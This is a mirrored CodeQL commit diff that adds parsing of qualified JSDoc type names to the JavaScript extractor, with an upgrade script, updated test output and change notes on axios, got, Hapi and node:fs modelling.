mirror of
https://github.com/github/codeql.git
synced 2025-12-17 01:03:14 +01:00
Merge branch 'main' into js/hana_db_client
This commit is contained in:
@@ -0,0 +1,37 @@
|
||||
// Removes all nodes nested inside a qualified type access,
|
||||
// and changes qualified type access nodes to "named type" nodes.
|
||||
//
|
||||
/*
|
||||
* jsdoc_type_exprs (unique int id: @jsdoc_type_expr,
|
||||
* int kind: int ref,
|
||||
* int parent: @jsdoc_type_expr_parent ref,
|
||||
* int idx: int ref,
|
||||
* varchar(900) tostring: string ref);
|
||||
*/
|
||||
|
||||
class JSDocTypeExprParent extends @jsdoc_type_expr_parent {
|
||||
string toString() { none() }
|
||||
}
|
||||
|
||||
class JSDocTypeExpr extends @jsdoc_type_expr {
|
||||
string toString() { none() }
|
||||
|
||||
JSDocTypeExpr getChild(int n) { jsdoc_type_exprs(result, _, this, n, _) }
|
||||
|
||||
int getNewKind() { jsdoc_type_exprs(this, result, _, _, _) }
|
||||
|
||||
predicate shouldRemove() { this = any(JSDocQualifiedTypeAccess a).getChild(_) }
|
||||
}
|
||||
|
||||
class JSDocQualifiedTypeAccess extends @jsdoc_qualified_type_expr, JSDocTypeExpr {
|
||||
override int getNewKind() {
|
||||
result = 5
|
||||
/* 5 = @jsdoc_named_type_expr */
|
||||
}
|
||||
}
|
||||
|
||||
from JSDocTypeExpr node, JSDocTypeExprParent parent, int idx, string tostring
|
||||
where
|
||||
jsdoc_type_exprs(node, _, parent, idx, tostring) and
|
||||
not node.shouldRemove()
|
||||
select node, node.getNewKind(), parent, idx, tostring
|
||||
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,4 @@
|
||||
description: split up qualified names in jsdoc type exprs
|
||||
compatibility: backwards
|
||||
|
||||
jsdoc_type_exprs.rel: run jsdoc_type_exprs.ql
|
||||
@@ -2,12 +2,12 @@ package com.semmle.js.ast.jsdoc;
|
||||
|
||||
import com.semmle.js.ast.SourceLocation;
|
||||
|
||||
/** A named JSDoc type. */
|
||||
public class NameExpression extends JSDocTypeExpression {
|
||||
/** An identifier in a JSDoc type. */
|
||||
public class Identifier extends JSDocTypeExpression {
|
||||
private final String name;
|
||||
|
||||
public NameExpression(SourceLocation loc, String name) {
|
||||
super(loc, "NameExpression");
|
||||
public Identifier(SourceLocation loc, String name) {
|
||||
super(loc, "Identifier");
|
||||
this.name = name;
|
||||
}
|
||||
|
||||
@@ -0,0 +1,35 @@
|
||||
package com.semmle.js.ast.jsdoc;
|
||||
|
||||
import com.semmle.js.ast.SourceLocation;
|
||||
|
||||
/** A qualified name in a JSDoc type. */
|
||||
public class QualifiedNameExpression extends JSDocTypeExpression {
|
||||
private final JSDocTypeExpression base;
|
||||
private final Identifier name;
|
||||
|
||||
public QualifiedNameExpression(SourceLocation loc, JSDocTypeExpression base, Identifier name) {
|
||||
super(loc, "QualifiedNameExpression");
|
||||
this.base = base;
|
||||
this.name = name;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void accept(Visitor v) {
|
||||
v.visit(this);
|
||||
}
|
||||
|
||||
/** Returns the expression on the left side of the dot character. */
|
||||
public JSDocTypeExpression getBase() {
|
||||
return base;
|
||||
}
|
||||
|
||||
/** Returns the identifier on the right-hand side of the dot character. */
|
||||
public Identifier getNameNode() {
|
||||
return name;
|
||||
}
|
||||
|
||||
@Override
|
||||
public String pp() {
|
||||
return base.pp() + "." + name.pp();
|
||||
}
|
||||
}
|
||||
@@ -10,7 +10,9 @@ public interface Visitor {
|
||||
|
||||
public void visit(JSDocTag nd);
|
||||
|
||||
public void visit(NameExpression nd);
|
||||
public void visit(Identifier nd);
|
||||
|
||||
public void visit(QualifiedNameExpression nd);
|
||||
|
||||
public void visit(NullableLiteral nd);
|
||||
|
||||
|
||||
@@ -9,13 +9,14 @@ import com.semmle.js.ast.jsdoc.JSDocComment;
|
||||
import com.semmle.js.ast.jsdoc.JSDocElement;
|
||||
import com.semmle.js.ast.jsdoc.JSDocTag;
|
||||
import com.semmle.js.ast.jsdoc.JSDocTypeExpression;
|
||||
import com.semmle.js.ast.jsdoc.NameExpression;
|
||||
import com.semmle.js.ast.jsdoc.Identifier;
|
||||
import com.semmle.js.ast.jsdoc.NonNullableType;
|
||||
import com.semmle.js.ast.jsdoc.NullLiteral;
|
||||
import com.semmle.js.ast.jsdoc.NullableLiteral;
|
||||
import com.semmle.js.ast.jsdoc.NullableType;
|
||||
import com.semmle.js.ast.jsdoc.OptionalType;
|
||||
import com.semmle.js.ast.jsdoc.ParameterType;
|
||||
import com.semmle.js.ast.jsdoc.QualifiedNameExpression;
|
||||
import com.semmle.js.ast.jsdoc.RecordType;
|
||||
import com.semmle.js.ast.jsdoc.RestType;
|
||||
import com.semmle.js.ast.jsdoc.TypeApplication;
|
||||
@@ -42,7 +43,7 @@ public class JSDocExtractor {
|
||||
jsdocTypeExprKinds.put("UndefinedLiteral", 2);
|
||||
jsdocTypeExprKinds.put("NullableLiteral", 3);
|
||||
jsdocTypeExprKinds.put("VoidLiteral", 4);
|
||||
jsdocTypeExprKinds.put("NameExpression", 5);
|
||||
jsdocTypeExprKinds.put("Identifier", 5);
|
||||
jsdocTypeExprKinds.put("TypeApplication", 6);
|
||||
jsdocTypeExprKinds.put("NullableType", 7);
|
||||
jsdocTypeExprKinds.put("NonNullableType", 8);
|
||||
@@ -52,6 +53,7 @@ public class JSDocExtractor {
|
||||
jsdocTypeExprKinds.put("FunctionType", 12);
|
||||
jsdocTypeExprKinds.put("OptionalType", 13);
|
||||
jsdocTypeExprKinds.put("RestType", 14);
|
||||
jsdocTypeExprKinds.put("QualifiedNameExpression", 15);
|
||||
}
|
||||
|
||||
private final TrapWriter trapwriter;
|
||||
@@ -122,10 +124,17 @@ public class JSDocExtractor {
|
||||
}
|
||||
|
||||
@Override
|
||||
public void visit(NameExpression nd) {
|
||||
public void visit(Identifier nd) {
|
||||
visit((JSDocTypeExpression) nd);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void visit(QualifiedNameExpression nd) {
|
||||
Label label = visit((JSDocTypeExpression) nd);
|
||||
visit(nd.getBase(), label, 0);
|
||||
visit(nd.getNameNode(), label, 1);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void visit(NullableLiteral nd) {
|
||||
visit((JSDocTypeExpression) nd);
|
||||
|
||||
@@ -42,7 +42,7 @@ public class Main {
|
||||
* A version identifier that should be updated every time the extractor changes in such a way that
|
||||
* it may produce different tuples for the same file under the same {@link ExtractorConfig}.
|
||||
*/
|
||||
public static final String EXTRACTOR_VERSION = "2025-02-03";
|
||||
public static final String EXTRACTOR_VERSION = "2025-03-20";
|
||||
|
||||
public static final Pattern NEWLINE = Pattern.compile("\n");
|
||||
|
||||
|
||||
@@ -10,13 +10,14 @@ import com.semmle.js.ast.jsdoc.FunctionType;
|
||||
import com.semmle.js.ast.jsdoc.JSDocComment;
|
||||
import com.semmle.js.ast.jsdoc.JSDocTag;
|
||||
import com.semmle.js.ast.jsdoc.JSDocTypeExpression;
|
||||
import com.semmle.js.ast.jsdoc.NameExpression;
|
||||
import com.semmle.js.ast.jsdoc.Identifier;
|
||||
import com.semmle.js.ast.jsdoc.NonNullableType;
|
||||
import com.semmle.js.ast.jsdoc.NullLiteral;
|
||||
import com.semmle.js.ast.jsdoc.NullableLiteral;
|
||||
import com.semmle.js.ast.jsdoc.NullableType;
|
||||
import com.semmle.js.ast.jsdoc.OptionalType;
|
||||
import com.semmle.js.ast.jsdoc.ParameterType;
|
||||
import com.semmle.js.ast.jsdoc.QualifiedNameExpression;
|
||||
import com.semmle.js.ast.jsdoc.RecordType;
|
||||
import com.semmle.js.ast.jsdoc.RestType;
|
||||
import com.semmle.js.ast.jsdoc.TypeApplication;
|
||||
@@ -70,30 +71,6 @@ public class JSDocParser {
|
||||
return new JSDocComment(comment, r.fst(), tags);
|
||||
}
|
||||
|
||||
/** Specification of Doctrine AST types for JSDoc type expressions. */
|
||||
private static final Map<Class<? extends JSDocTypeExpression>, List<String>> spec =
|
||||
new LinkedHashMap<Class<? extends JSDocTypeExpression>, List<String>>();
|
||||
|
||||
static {
|
||||
spec.put(AllLiteral.class, Arrays.<String>asList());
|
||||
spec.put(ArrayType.class, Arrays.asList("elements"));
|
||||
spec.put(FieldType.class, Arrays.asList("key", "value"));
|
||||
spec.put(FunctionType.class, Arrays.asList("this", "new", "params", "result"));
|
||||
spec.put(NameExpression.class, Arrays.asList("name"));
|
||||
spec.put(NonNullableType.class, Arrays.asList("expression", "prefix"));
|
||||
spec.put(NullableLiteral.class, Arrays.<String>asList());
|
||||
spec.put(NullLiteral.class, Arrays.<String>asList());
|
||||
spec.put(NullableType.class, Arrays.asList("expression", "prefix"));
|
||||
spec.put(OptionalType.class, Arrays.asList("expression"));
|
||||
spec.put(ParameterType.class, Arrays.asList("name", "expression"));
|
||||
spec.put(RecordType.class, Arrays.asList("fields"));
|
||||
spec.put(RestType.class, Arrays.asList("expression"));
|
||||
spec.put(TypeApplication.class, Arrays.asList("expression", "applications"));
|
||||
spec.put(UndefinedLiteral.class, Arrays.<String>asList());
|
||||
spec.put(UnionType.class, Arrays.asList("elements"));
|
||||
spec.put(VoidLiteral.class, Arrays.<String>asList());
|
||||
}
|
||||
|
||||
private static String sliceSource(String source, int index, int last) {
|
||||
if (index >= source.length()) return "";
|
||||
if (last > source.length()) last = source.length();
|
||||
@@ -137,7 +114,7 @@ public class JSDocParser {
|
||||
}
|
||||
|
||||
private static boolean isTypeName(char ch) {
|
||||
return "><(){}[],:*|?!=".indexOf(ch) == -1 && !isWhiteSpace(ch) && !isLineTerminator(ch);
|
||||
return "><(){}[],:*|?!=.".indexOf(ch) == -1 && !isWhiteSpace(ch) && !isLineTerminator(ch);
|
||||
}
|
||||
|
||||
private static boolean isParamTitle(String title) {
|
||||
@@ -559,20 +536,9 @@ public class JSDocParser {
|
||||
}
|
||||
|
||||
private Token scanTypeName() {
|
||||
char ch, ch2;
|
||||
|
||||
StringBuilder sb = new StringBuilder();
|
||||
sb.append((char)advance());
|
||||
while (index < endIndex && isTypeName(source.charAt(index))) {
|
||||
ch = source.charAt(index);
|
||||
if (ch == '.') {
|
||||
if ((index + 1) < endIndex) {
|
||||
ch2 = source.charAt(index + 1);
|
||||
if (ch2 == '<') {
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
sb.append((char)advance());
|
||||
}
|
||||
value = sb.toString();
|
||||
@@ -850,11 +816,24 @@ public class JSDocParser {
|
||||
return finishNode(new RecordType(loc, fields));
|
||||
}
|
||||
|
||||
private JSDocTypeExpression parseNameExpression() throws ParseError {
|
||||
Object name = value;
|
||||
private Identifier parseIdentifier() throws ParseError {
|
||||
SourceLocation loc = loc();
|
||||
Object value = this.value; // save the value of the current token
|
||||
expect(Token.NAME);
|
||||
return finishNode(new NameExpression(loc, name.toString()));
|
||||
return finishNode(new Identifier(loc, value.toString()));
|
||||
}
|
||||
|
||||
private JSDocTypeExpression parseNameExpression() throws ParseError {
|
||||
JSDocTypeExpression node = parseIdentifier();
|
||||
while (token == Token.DOT) {
|
||||
consume(Token.DOT);
|
||||
Identifier memberName = parseIdentifier();
|
||||
// Create a SourceLocation object with the correct start location.
|
||||
// The call to finishNode() will set the end location.
|
||||
SourceLocation loc = new SourceLocation(node.getLoc());
|
||||
node = finishNode(new QualifiedNameExpression(loc, node, memberName));
|
||||
}
|
||||
return node;
|
||||
}
|
||||
|
||||
// TypeExpressionList :=
|
||||
@@ -947,14 +926,14 @@ public class JSDocParser {
|
||||
|
||||
SourceLocation loc = loc();
|
||||
expr = parseTypeExpression();
|
||||
if (expr instanceof NameExpression && token == Token.COLON) {
|
||||
if (expr instanceof Identifier && token == Token.COLON) {
|
||||
// Identifier ':' TypeExpression
|
||||
consume(Token.COLON);
|
||||
expr =
|
||||
finishNode(
|
||||
new ParameterType(
|
||||
new SourceLocation(loc),
|
||||
((NameExpression) expr).getName(),
|
||||
((Identifier) expr).getName(),
|
||||
parseTypeExpression()));
|
||||
}
|
||||
if (token == Token.EQUAL) {
|
||||
@@ -1130,7 +1109,7 @@ public class JSDocParser {
|
||||
consume(Token.RBRACK, "expected an array-style type declaration (' + value + '[])");
|
||||
List<JSDocTypeExpression> expressions = new ArrayList<>();
|
||||
expressions.add(expr);
|
||||
NameExpression nameExpr = finishNode(new NameExpression(new SourceLocation(loc), "Array"));
|
||||
Identifier nameExpr = finishNode(new Identifier(new SourceLocation(loc), "Array"));
|
||||
return finishNode(new TypeApplication(loc, nameExpr, expressions));
|
||||
}
|
||||
|
||||
@@ -1551,9 +1530,9 @@ public class JSDocParser {
|
||||
// fixed at the end
|
||||
if (isParamTitle(this._title)
|
||||
&& this._tag.type != null
|
||||
&& this._tag.type instanceof NameExpression) {
|
||||
this._extra_name = ((NameExpression) this._tag.type).getName();
|
||||
this._tag.name = ((NameExpression) this._tag.type).getName();
|
||||
&& this._tag.type instanceof Identifier) {
|
||||
this._extra_name = ((Identifier) this._tag.type).getName();
|
||||
this._tag.name = ((Identifier) this._tag.type).getName();
|
||||
this._tag.type = null;
|
||||
} else {
|
||||
if (!this.addError("Missing or invalid tag name")) {
|
||||
@@ -1669,7 +1648,7 @@ public class JSDocParser {
|
||||
Position start = new Position(_tag.startLine, _tag.startColumn, _tag.startColumn);
|
||||
Position end = new Position(_tag.startLine, _tag.startColumn, _tag.startColumn);
|
||||
SourceLocation loc = new SourceLocation(_extra_name, start, end);
|
||||
this._tag.type = new NameExpression(loc, _extra_name);
|
||||
this._tag.type = new Identifier(loc, _extra_name);
|
||||
}
|
||||
this._tag.name = null;
|
||||
|
||||
|
||||
@@ -517,150 +517,170 @@ jsdoc_type_exprs(#20157,4,#20145,-1,"void")
|
||||
locations_default(#20158,#10000,11,60,11,63)
|
||||
hasLocation(#20157,#20158)
|
||||
#20159=*
|
||||
jsdoc_type_exprs(#20159,5,#20145,-2,"goog.ui.Menu")
|
||||
jsdoc_type_exprs(#20159,15,#20145,-2,"goog.ui.Menu")
|
||||
#20160=@"loc,{#10000},11,26,11,37"
|
||||
locations_default(#20160,#10000,11,26,11,37)
|
||||
hasLocation(#20159,#20160)
|
||||
jsdoc_has_new_parameter(#20145)
|
||||
#20161=*
|
||||
jsdoc_tags(#20161,"param",#20117,4,"@param")
|
||||
#20162=@"loc,{#10000},12,5,12,10"
|
||||
locations_default(#20162,#10000,12,5,12,10)
|
||||
jsdoc_type_exprs(#20161,15,#20159,0,"goog.ui")
|
||||
#20162=@"loc,{#10000},11,26,11,32"
|
||||
locations_default(#20162,#10000,11,26,11,32)
|
||||
hasLocation(#20161,#20162)
|
||||
jsdoc_tag_names(#20161,"var_args")
|
||||
#20163=*
|
||||
jsdoc_type_exprs(#20163,14,#20161,0,"...number")
|
||||
#20164=@"loc,{#10000},12,13,12,21"
|
||||
locations_default(#20164,#10000,12,13,12,21)
|
||||
jsdoc_type_exprs(#20163,5,#20161,0,"goog")
|
||||
#20164=@"loc,{#10000},11,26,11,29"
|
||||
locations_default(#20164,#10000,11,26,11,29)
|
||||
hasLocation(#20163,#20164)
|
||||
#20165=*
|
||||
jsdoc_type_exprs(#20165,5,#20163,0,"number")
|
||||
#20166=@"loc,{#10000},12,16,12,21"
|
||||
locations_default(#20166,#10000,12,16,12,21)
|
||||
jsdoc_type_exprs(#20165,5,#20161,1,"ui")
|
||||
#20166=@"loc,{#10000},11,31,11,32"
|
||||
locations_default(#20166,#10000,11,31,11,32)
|
||||
hasLocation(#20165,#20166)
|
||||
#20167=*
|
||||
jsdoc(#20167,"",#20010)
|
||||
hasLocation(#20167,#20011)
|
||||
#20168=*
|
||||
jsdoc_tags(#20168,"param",#20167,0,"@param")
|
||||
#20169=@"loc,{#10000},15,4,15,9"
|
||||
locations_default(#20169,#10000,15,4,15,9)
|
||||
hasLocation(#20168,#20169)
|
||||
#20170=*
|
||||
jsdoc_errors(#20170,#20168,"Missing or invalid tag name","Missing ... ag name")
|
||||
jsdoc_type_exprs(#20167,5,#20159,1,"Menu")
|
||||
#20168=@"loc,{#10000},11,34,11,37"
|
||||
locations_default(#20168,#10000,11,34,11,37)
|
||||
hasLocation(#20167,#20168)
|
||||
jsdoc_has_new_parameter(#20145)
|
||||
#20169=*
|
||||
jsdoc_tags(#20169,"param",#20117,4,"@param")
|
||||
#20170=@"loc,{#10000},12,5,12,10"
|
||||
locations_default(#20170,#10000,12,5,12,10)
|
||||
hasLocation(#20169,#20170)
|
||||
jsdoc_tag_names(#20169,"var_args")
|
||||
#20171=*
|
||||
jsdoc_tags(#20171,"param",#20167,1,"@param")
|
||||
#20172=@"loc,{#10000},16,4,16,9"
|
||||
locations_default(#20172,#10000,16,4,16,9)
|
||||
jsdoc_type_exprs(#20171,14,#20169,0,"...number")
|
||||
#20172=@"loc,{#10000},12,13,12,21"
|
||||
locations_default(#20172,#10000,12,13,12,21)
|
||||
hasLocation(#20171,#20172)
|
||||
jsdoc_tag_names(#20171,"x")
|
||||
#20173=*
|
||||
jsdoc(#20173,"",#20012)
|
||||
hasLocation(#20173,#20013)
|
||||
#20174=*
|
||||
jsdoc_tags(#20174,"",#20173,0,"@")
|
||||
#20175=@"loc,{#10000},20,4,20,4"
|
||||
locations_default(#20175,#10000,20,4,20,4)
|
||||
hasLocation(#20174,#20175)
|
||||
jsdoc_tag_descriptions(#20174,"{link a}")
|
||||
jsdoc_type_exprs(#20173,5,#20171,0,"number")
|
||||
#20174=@"loc,{#10000},12,16,12,21"
|
||||
locations_default(#20174,#10000,12,16,12,21)
|
||||
hasLocation(#20173,#20174)
|
||||
#20175=*
|
||||
jsdoc(#20175,"",#20010)
|
||||
hasLocation(#20175,#20011)
|
||||
#20176=*
|
||||
jsdoc_errors(#20176,#20174,"Missing or invalid title","Missing ... d title")
|
||||
#20177=*
|
||||
jsdoc(#20177,"",#20014)
|
||||
hasLocation(#20177,#20015)
|
||||
jsdoc_tags(#20176,"param",#20175,0,"@param")
|
||||
#20177=@"loc,{#10000},15,4,15,9"
|
||||
locations_default(#20177,#10000,15,4,15,9)
|
||||
hasLocation(#20176,#20177)
|
||||
#20178=*
|
||||
jsdoc_tags(#20178,"typedef",#20177,0,"@typedef")
|
||||
#20179=@"loc,{#10000},24,4,24,11"
|
||||
locations_default(#20179,#10000,24,4,24,11)
|
||||
hasLocation(#20178,#20179)
|
||||
jsdoc_tag_descriptions(#20178,"{a}")
|
||||
#20180=*
|
||||
jsdoc_errors(#20180,#20178,"Missing or invalid tag type","Missing ... ag type")
|
||||
jsdoc_errors(#20178,#20176,"Missing or invalid tag name","Missing ... ag name")
|
||||
#20179=*
|
||||
jsdoc_tags(#20179,"param",#20175,1,"@param")
|
||||
#20180=@"loc,{#10000},16,4,16,9"
|
||||
locations_default(#20180,#10000,16,4,16,9)
|
||||
hasLocation(#20179,#20180)
|
||||
jsdoc_tag_names(#20179,"x")
|
||||
#20181=*
|
||||
jsdoc(#20181,"[resize description]",#20016)
|
||||
hasLocation(#20181,#20017)
|
||||
jsdoc(#20181,"",#20012)
|
||||
hasLocation(#20181,#20013)
|
||||
#20182=*
|
||||
jsdoc_tags(#20182,"param",#20181,0,"@param")
|
||||
#20183=@"loc,{#10000},30,4,30,9"
|
||||
locations_default(#20183,#10000,30,4,30,9)
|
||||
jsdoc_tags(#20182,"",#20181,0,"@")
|
||||
#20183=@"loc,{#10000},20,4,20,4"
|
||||
locations_default(#20183,#10000,20,4,20,4)
|
||||
hasLocation(#20182,#20183)
|
||||
jsdoc_tag_descriptions(#20182,"[description]
|
||||
")
|
||||
jsdoc_tag_names(#20182,"w")
|
||||
jsdoc_tag_descriptions(#20182,"{link a}")
|
||||
#20184=*
|
||||
jsdoc_type_exprs(#20184,10,#20182,0,"[type]")
|
||||
#20185=@"loc,{#10000},30,13,30,18"
|
||||
locations_default(#20185,#10000,30,13,30,18)
|
||||
hasLocation(#20184,#20185)
|
||||
jsdoc_errors(#20184,#20182,"Missing or invalid title","Missing ... d title")
|
||||
#20185=*
|
||||
jsdoc(#20185,"",#20014)
|
||||
hasLocation(#20185,#20015)
|
||||
#20186=*
|
||||
jsdoc_type_exprs(#20186,5,#20184,0,"type")
|
||||
#20187=@"loc,{#10000},30,14,30,17"
|
||||
locations_default(#20187,#10000,30,14,30,17)
|
||||
jsdoc_tags(#20186,"typedef",#20185,0,"@typedef")
|
||||
#20187=@"loc,{#10000},24,4,24,11"
|
||||
locations_default(#20187,#10000,24,4,24,11)
|
||||
hasLocation(#20186,#20187)
|
||||
jsdoc_tag_descriptions(#20186,"{a}")
|
||||
#20188=*
|
||||
jsdoc_tags(#20188,"param",#20181,1,"@param")
|
||||
#20189=@"loc,{#10000},31,4,31,9"
|
||||
locations_default(#20189,#10000,31,4,31,9)
|
||||
hasLocation(#20188,#20189)
|
||||
jsdoc_tag_descriptions(#20188,"[description]
|
||||
")
|
||||
jsdoc_errors(#20188,#20186,"Missing or invalid tag type","Missing ... ag type")
|
||||
#20189=*
|
||||
jsdoc(#20189,"[resize description]",#20016)
|
||||
hasLocation(#20189,#20017)
|
||||
#20190=*
|
||||
jsdoc_tags(#20190,"return",#20181,2,"@return")
|
||||
#20191=@"loc,{#10000},32,4,32,10"
|
||||
locations_default(#20191,#10000,32,4,32,10)
|
||||
jsdoc_tags(#20190,"param",#20189,0,"@param")
|
||||
#20191=@"loc,{#10000},30,4,30,9"
|
||||
locations_default(#20191,#10000,30,4,30,9)
|
||||
hasLocation(#20190,#20191)
|
||||
jsdoc_tag_descriptions(#20190,"[description]")
|
||||
jsdoc_tag_descriptions(#20190,"[description]
|
||||
")
|
||||
jsdoc_tag_names(#20190,"w")
|
||||
#20192=*
|
||||
jsdoc_type_exprs(#20192,10,#20190,0,"[type]")
|
||||
#20193=@"loc,{#10000},32,13,32,18"
|
||||
locations_default(#20193,#10000,32,13,32,18)
|
||||
#20193=@"loc,{#10000},30,13,30,18"
|
||||
locations_default(#20193,#10000,30,13,30,18)
|
||||
hasLocation(#20192,#20193)
|
||||
#20194=*
|
||||
jsdoc_type_exprs(#20194,5,#20192,0,"type")
|
||||
#20195=@"loc,{#10000},32,14,32,17"
|
||||
locations_default(#20195,#10000,32,14,32,17)
|
||||
#20195=@"loc,{#10000},30,14,30,17"
|
||||
locations_default(#20195,#10000,30,14,30,17)
|
||||
hasLocation(#20194,#20195)
|
||||
#20196=*
|
||||
jsdoc(#20196,"",#20018)
|
||||
hasLocation(#20196,#20019)
|
||||
#20197=*
|
||||
jsdoc_tags(#20197,"exports",#20196,0,"@exports")
|
||||
#20198=@"loc,{#10000},36,3,36,10"
|
||||
locations_default(#20198,#10000,36,3,36,10)
|
||||
hasLocation(#20197,#20198)
|
||||
jsdoc_tag_descriptions(#20197,"R
|
||||
jsdoc_tags(#20196,"param",#20189,1,"@param")
|
||||
#20197=@"loc,{#10000},31,4,31,9"
|
||||
locations_default(#20197,#10000,31,4,31,9)
|
||||
hasLocation(#20196,#20197)
|
||||
jsdoc_tag_descriptions(#20196,"[description]
|
||||
")
|
||||
#20199=*
|
||||
jsdoc(#20199,"",#20020)
|
||||
hasLocation(#20199,#20021)
|
||||
#20198=*
|
||||
jsdoc_tags(#20198,"return",#20189,2,"@return")
|
||||
#20199=@"loc,{#10000},32,4,32,10"
|
||||
locations_default(#20199,#10000,32,4,32,10)
|
||||
hasLocation(#20198,#20199)
|
||||
jsdoc_tag_descriptions(#20198,"[description]")
|
||||
#20200=*
|
||||
jsdoc_tags(#20200,"typedef",#20199,0,"@typedef")
|
||||
#20201=@"loc,{#10000},41,4,41,11"
|
||||
locations_default(#20201,#10000,41,4,41,11)
|
||||
jsdoc_type_exprs(#20200,10,#20198,0,"[type]")
|
||||
#20201=@"loc,{#10000},32,13,32,18"
|
||||
locations_default(#20201,#10000,32,13,32,18)
|
||||
hasLocation(#20200,#20201)
|
||||
#20202=*
|
||||
jsdoc_type_exprs(#20202,9,#20200,0,"{0: number}")
|
||||
#20203=@"loc,{#10000},41,14,41,24"
|
||||
locations_default(#20203,#10000,41,14,41,24)
|
||||
jsdoc_type_exprs(#20202,5,#20200,0,"type")
|
||||
#20203=@"loc,{#10000},32,14,32,17"
|
||||
locations_default(#20203,#10000,32,14,32,17)
|
||||
hasLocation(#20202,#20203)
|
||||
jsdoc_record_field_name(#20202,0,"0")
|
||||
#20204=*
|
||||
jsdoc_type_exprs(#20204,5,#20202,0,"number")
|
||||
#20205=@"loc,{#10000},41,18,41,23"
|
||||
locations_default(#20205,#10000,41,18,41,23)
|
||||
hasLocation(#20204,#20205)
|
||||
toplevels(#20001,0)
|
||||
#20206=@"loc,{#10000},1,1,43,0"
|
||||
locations_default(#20206,#10000,1,1,43,0)
|
||||
hasLocation(#20001,#20206)
|
||||
jsdoc(#20204,"",#20018)
|
||||
hasLocation(#20204,#20019)
|
||||
#20205=*
|
||||
jsdoc_tags(#20205,"exports",#20204,0,"@exports")
|
||||
#20206=@"loc,{#10000},36,3,36,10"
|
||||
locations_default(#20206,#10000,36,3,36,10)
|
||||
hasLocation(#20205,#20206)
|
||||
jsdoc_tag_descriptions(#20205,"R
|
||||
")
|
||||
#20207=*
|
||||
entry_cfg_node(#20207,#20001)
|
||||
#20208=@"loc,{#10000},1,1,1,0"
|
||||
locations_default(#20208,#10000,1,1,1,0)
|
||||
hasLocation(#20207,#20208)
|
||||
#20209=*
|
||||
exit_cfg_node(#20209,#20001)
|
||||
hasLocation(#20209,#20105)
|
||||
successor(#20207,#20209)
|
||||
jsdoc(#20207,"",#20020)
|
||||
hasLocation(#20207,#20021)
|
||||
#20208=*
|
||||
jsdoc_tags(#20208,"typedef",#20207,0,"@typedef")
|
||||
#20209=@"loc,{#10000},41,4,41,11"
|
||||
locations_default(#20209,#10000,41,4,41,11)
|
||||
hasLocation(#20208,#20209)
|
||||
#20210=*
|
||||
jsdoc_type_exprs(#20210,9,#20208,0,"{0: number}")
|
||||
#20211=@"loc,{#10000},41,14,41,24"
|
||||
locations_default(#20211,#10000,41,14,41,24)
|
||||
hasLocation(#20210,#20211)
|
||||
jsdoc_record_field_name(#20210,0,"0")
|
||||
#20212=*
|
||||
jsdoc_type_exprs(#20212,5,#20210,0,"number")
|
||||
#20213=@"loc,{#10000},41,18,41,23"
|
||||
locations_default(#20213,#10000,41,18,41,23)
|
||||
hasLocation(#20212,#20213)
|
||||
toplevels(#20001,0)
|
||||
#20214=@"loc,{#10000},1,1,43,0"
|
||||
locations_default(#20214,#10000,1,1,43,0)
|
||||
hasLocation(#20001,#20214)
|
||||
#20215=*
|
||||
entry_cfg_node(#20215,#20001)
|
||||
#20216=@"loc,{#10000},1,1,1,0"
|
||||
locations_default(#20216,#10000,1,1,1,0)
|
||||
hasLocation(#20215,#20216)
|
||||
#20217=*
|
||||
exit_cfg_node(#20217,#20001)
|
||||
hasLocation(#20217,#20105)
|
||||
successor(#20215,#20217)
|
||||
numlines(#10000,42,0,37)
|
||||
filetype(#10000,"javascript")
|
||||
|
||||
@@ -0,0 +1,4 @@
|
||||
---
|
||||
category: minorAnalysis
|
||||
---
|
||||
Enhanced `axios` support with new methods (`postForm`, `putForm`, `patchForm`, `getUri`, `create`) and added support for `interceptors.request` and `interceptors.response`.
|
||||
4
javascript/ql/lib/change-notes/2025-03-24-got-package.md
Normal file
4
javascript/ql/lib/change-notes/2025-03-24-got-package.md
Normal file
@@ -0,0 +1,4 @@
|
||||
---
|
||||
category: minorAnalysis
|
||||
---
|
||||
* Improved support for `got` package with `Options`, `paginate()` and `extend()`
|
||||
4
javascript/ql/lib/change-notes/2025-03-26-Hapi.md
Normal file
4
javascript/ql/lib/change-notes/2025-03-26-Hapi.md
Normal file
@@ -0,0 +1,4 @@
|
||||
---
|
||||
category: minorAnalysis
|
||||
---
|
||||
* Added support for the newer version of `Hapi` with the `@hapi/hapi` import and `server` function.
|
||||
@@ -0,0 +1,4 @@
|
||||
---
|
||||
category: minorAnalysis
|
||||
---
|
||||
* Improved modeling of the `node:fs` module: `await`-ed calls to `read` and `readFile` are now supported.
|
||||
12
javascript/ql/lib/ext/axios.model.yml
Normal file
12
javascript/ql/lib/ext/axios.model.yml
Normal file
@@ -0,0 +1,12 @@
|
||||
extensions:
|
||||
- addsTo:
|
||||
pack: codeql/javascript-all
|
||||
extensible: sinkModel
|
||||
data:
|
||||
- ["axios", "Member[interceptors].Member[request].Member[use].Argument[0].Parameter[0].Member[url]", "request-forgery"]
|
||||
|
||||
- addsTo:
|
||||
pack: codeql/javascript-all
|
||||
extensible: sourceModel
|
||||
data:
|
||||
- ["axios", "Member[interceptors].Member[response].Member[use].Argument[0].Parameter[0]", "response"]
|
||||
@@ -296,7 +296,7 @@ module DOM {
|
||||
.getType()
|
||||
.getAnUnderlyingType()
|
||||
.(JSDocNamedTypeExpr)
|
||||
.getName())
|
||||
.getRawName())
|
||||
)
|
||||
}
|
||||
|
||||
|
||||
@@ -400,8 +400,8 @@ class ConstructorTag extends JSDocTag {
|
||||
abstract private class NamedTypeReferent extends JSDocTag {
|
||||
/** Gets the name of the type to which this tag refers. */
|
||||
string getTarget() {
|
||||
result = this.getType().(JSDocNamedTypeExpr).getName() or
|
||||
result = this.getType().(JSDocAppliedTypeExpr).getHead().(JSDocNamedTypeExpr).getName()
|
||||
result = this.getType().(JSDocNamedTypeExpr).getRawName() or
|
||||
result = this.getType().(JSDocAppliedTypeExpr).getHead().(JSDocNamedTypeExpr).getRawName()
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -423,7 +423,7 @@ abstract private class NamedTypeReferent extends JSDocTag {
|
||||
* Gets the source declaration of the type to which `tp` refers, if any.
|
||||
*/
|
||||
private ExternalType sourceDecl(JSDocTypeExpr tp) {
|
||||
result.getQualifiedName() = tp.(JSDocNamedTypeExpr).getName() or
|
